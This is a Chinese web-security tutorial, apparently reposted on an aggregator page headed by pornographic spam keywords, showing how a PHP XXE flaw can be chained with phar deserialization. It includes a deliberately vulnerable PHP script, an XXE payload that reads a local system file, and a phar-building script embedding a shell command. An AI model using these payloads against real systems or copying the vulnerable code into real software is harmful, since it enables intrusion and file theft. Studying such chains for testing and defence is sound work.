日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【Web安全】从xxe到phar反序列化

發布時間:2025/3/21 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【Web安全】从xxe到phar反序列化 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

**重要:**在 PHP 里面解析 xml 用的是 libxml,當 libxml 的版本大于 2.9.0 的時候默認是禁止解析 xml 外部實體內容的。

以下代碼存在 xxe 漏洞。
xml.php:

<?php class Test{public $cmd;public function __destruct(){eval($this->cmd);} } $xmlfile = @file_get_contents("php://input"); $result = @simplexml_load_string($xmlfile); echo $result;// 另一種解析 xml 的方式 // class Test{ // public $cmd; // public function __destruct() // { // eval($this->cmd); // } // }// $file = file_get_contents("php://input"); // $dom = new DOMDocument(); // $dom->loadXML($file); // $result = simplexml_import_dom($dom); // echo $result;

觸發 xxe 漏洞實現任意文件讀取。

<?xml version="1.0"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]> <foo>&xxe;</foo>


在 xml 中有一個 Test 類,如果能反序列化該類的話就可以構造惡意代碼執行。
支持解析 xml 外部實體的協議如下,可以看到 PHP 支持 phar 協議。也就是說只要有一個文件上傳點,并且文件上傳的路徑是有回顯的,那么就可以配合 xxe 漏洞去觸發反序列化漏洞。

通過 xee 觸發反序列化漏洞進行任意代碼執行。
第一步:先構造 Test 類的 phar 文件,假設生成的 phar 文件已經被上傳到 xml.php 的同一個目錄。

<?php class Test{public function __construct(){$this->cmd = 'system(whoami);';} }@unlink("phar.phar"); $phar = new Phar("phar.phar"); //后綴名必須為phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $o = new Test(); $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>

第二步:利用 xxe 漏洞使用 phar 協議解析 phar 文件成功執行命令。

最后

關注私我獲取【網絡安全學習資料·攻略

《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀

總結

以上是生活随笔為你收集整理的【Web安全】从xxe到phar反序列化的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。